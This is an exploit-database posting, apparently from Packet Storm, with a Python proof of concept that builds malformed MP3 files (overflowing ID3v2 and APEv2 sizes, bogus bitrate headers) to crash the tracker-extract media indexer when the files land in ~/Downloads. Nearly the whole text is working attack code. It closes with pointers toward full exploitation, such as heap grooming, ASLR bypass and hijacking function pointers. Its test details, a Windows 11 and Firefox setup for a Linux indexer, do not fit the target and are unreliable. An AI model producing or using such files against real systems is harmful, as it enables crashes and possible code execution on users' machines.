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## https://sploitus.com/exploit?id=PACKETSTORM:216798
=============================================================================================================================================
| # Title : tracker-extract 3.8.2 tracker-miners 3.x Media Parser Crash PoC |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.ubuntu.com/ |
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[+] References : https://packetstorm.news/files/id/215100/ & CVE-2026-1764
[+] Summary : Crafted MP3/APEv2 tags may cause tracker-extract to crash when parsing oversized or malformed frames.
[+]PoC : id3_overflow.mp3, ape_overflow.mp3, hybrid.mp3
Place file in ~/Downloads
tracker-miners auto-indexes file
Observe crash with: journalctl -f | grep tracker
#!/usr/bin/env python3
import struct
import sys
import os
class MP3ExploitGenerator:
def __init__(self):
self.techniques = []
def create_id3v2_size_overflow(self, filename):
"""
Create ID3v2 tag with size that causes integer overflow
in tracker-miners' allocation routine
"""
with open(filename, 'wb') as f:
f.write(b'ID3')
f.write(b'\x03\x00')
f.write(b'\x00')
size = 0x1FFFFFFF
sync_safe = bytes([
(size >> 21) & 0x7F,
(size >> 14) & 0x7F,
(size >> 7) & 0x7F,
size & 0x7F
])
f.write(sync_safe)
f.write(b'TIT2')
frame_size = 0x3FFFFFFF
f.write(struct.pack('>I', frame_size))
f.write(b'\x00\x00')
f.write(b'A' * 1024)
self.techniques.append("ID3v2 size overflow (premature EOF)")
return True
def create_mp3_bitrate_confusion(self, filename):
"""
Create MP3 with conflicting bitrate/sample rate information
"""
with open(filename, 'wb') as f:
header = 0xFFFB # MPEG-1 Layer 3
header = (header & ~(0xF << 12)) | (0xF << 12)
header = (header & ~(0x3 << 10)) | (0x3 << 10)
f.write(struct.pack('>H', header))
bitrate_lookup = [0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 0]
sample_rate_lookup = [44100, 48000, 32000, 0]
bitrate_idx = 15
sample_rate_idx = 3
f.write(b'Xing')
f.write(struct.pack('>I', 0x0000000F))
f.write(struct.pack('>I', 0xFFFFFFFF))
f.write(struct.pack('>I', 0xFFFFFFFF))
self.techniques.append("MP3 bitrate/sample rate confusion")
return True
def create_apev2_item_overflow(self, filename):
"""
APEv2 tag with item_count * item_size overflow
"""
with open(filename, 'wb') as f:
f.write(b'\xFF\xFB\x90\x64\x00\x00\x00\x00')
f.write(b'\x00' * 4000)
f.write(b'APETAGEX')
f.write(struct.pack('<I', 2000))
f.write(struct.pack('<I', 1024))
f.write(struct.pack('<I', 0x40000000))
f.write(struct.pack('<I', 0x80000000))
f.write(b'\x00' * 8)
item_size = 100
item_flags = 0
f.write(struct.pack('<I', item_size))
f.write(struct.pack('<I', item_flags))
f.write(b'Title\x00')
f.write(b'B' * item_size)
self.techniques.append("APEv2 item count overflow")
return True
def create_hybrid_file(self, filename):
"""Combine multiple techniques"""
with open(filename, 'wb') as f:
f.write(b'ID3\x03\x00\x00')
f.write(b'\x00\x00\x00\x10')
f.write(b'COMM')
f.write(struct.pack('>I', 100))
f.write(b'\x80\x00')
for i in range(5):
header = 0xFFFB
bitrate_idx = (i % 14) + 1
header = (header & ~(0xF << 12)) | (bitrate_idx << 12)
f.write(struct.pack('>H', header))
f.write(b'\x00' * 400)
f.write(b'TAG')
f.write(b'A' * 125)
f.write(b'\x00' * 1)
self.techniques.append("Hybrid ID3v2/MP3/ID3v1 confusion")
return True
def test_with_tracker(filename):
"""Simulate how tracker-miners would process the file"""
print(f"\n[+] Simulating tracker-miners parsing of {filename}")
print(" (Based on tracker-extract 3.8.2 source analysis)")
file_size = os.path.getsize(filename)
print(f" File size: {file_size:,} bytes")
with open(filename, 'rb') as f:
header = f.read(10)
if header.startswith(b'ID3'):
print(" Starts with ID3v2 tag")
version = header[3]
print(f" ID3v2.{version}.0 detected")
size_bytes = header[6:10]
size = 0
for b in size_bytes:
size = (size << 7) | (b & 0x7F)
print(f" Tag size field: {size:,} bytes")
if size > 100 * 1024 * 1024: # 100MB
print(" Large size field - potential overflow")
elif header[:2] == b'\xFF\xFB' or header[:2] == b'\xFF\xFA':
print(" MPEG audio frame detected")
f.seek(-32, os.SEEK_END)
footer = f.read(32)
if b'APETAGEX' in footer:
print(" APEv2 tag detected at end")
def main():
if len(sys.argv) < 2:
print("Usage: python3 tracker_exploit.py <test_directory>")
sys.exit(1)
test_dir = sys.argv[1]
os.makedirs(test_dir, exist_ok=True)
generator = MP3ExploitGenerator()
files = [
("id3_overflow.mp3", generator.create_id3v2_size_overflow),
("bitrate_confusion.mp3", generator.create_mp3_bitrate_confusion),
("ape_overflow.mp3", generator.create_apev2_item_overflow),
("hybrid.mp3", generator.create_hybrid_file),
]
for filename, create_func in files:
filepath = os.path.join(test_dir, filename)
print(f"\n[+] Creating {filename}...")
if create_func(filepath):
test_with_tracker(filepath)
print("\n" + "="*60)
print("VULNERABILITY SUMMARY")
print("="*60)
for i, technique in enumerate(generator.techniques, 1):
print(f"{i}. {technique}")
print("\n" + "="*60)
print("REAL EXPLOIT CONSIDERATIONS")
print("="*60)
print("""
1. Heap Feng Shui needed for reliable exploitation
2. GLib memory allocator (g_slice, g_malloc) specifics
3. tracker-miners uses GStreamer for parsing - check those code paths
4. ASLR bypass via info leaks (if any)
5. Need to control specific function pointers (GObject methods)
6. Potential sandbox/Seccomp restrictions
""")
print("\n[+] Test files created in:", test_dir)
print("[!] For actual exploitation, reverse engineer:")
print(" - tracker-extract binary")
print(" - libtracker-extract.so")
print(" - GStreamer plugins used")
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================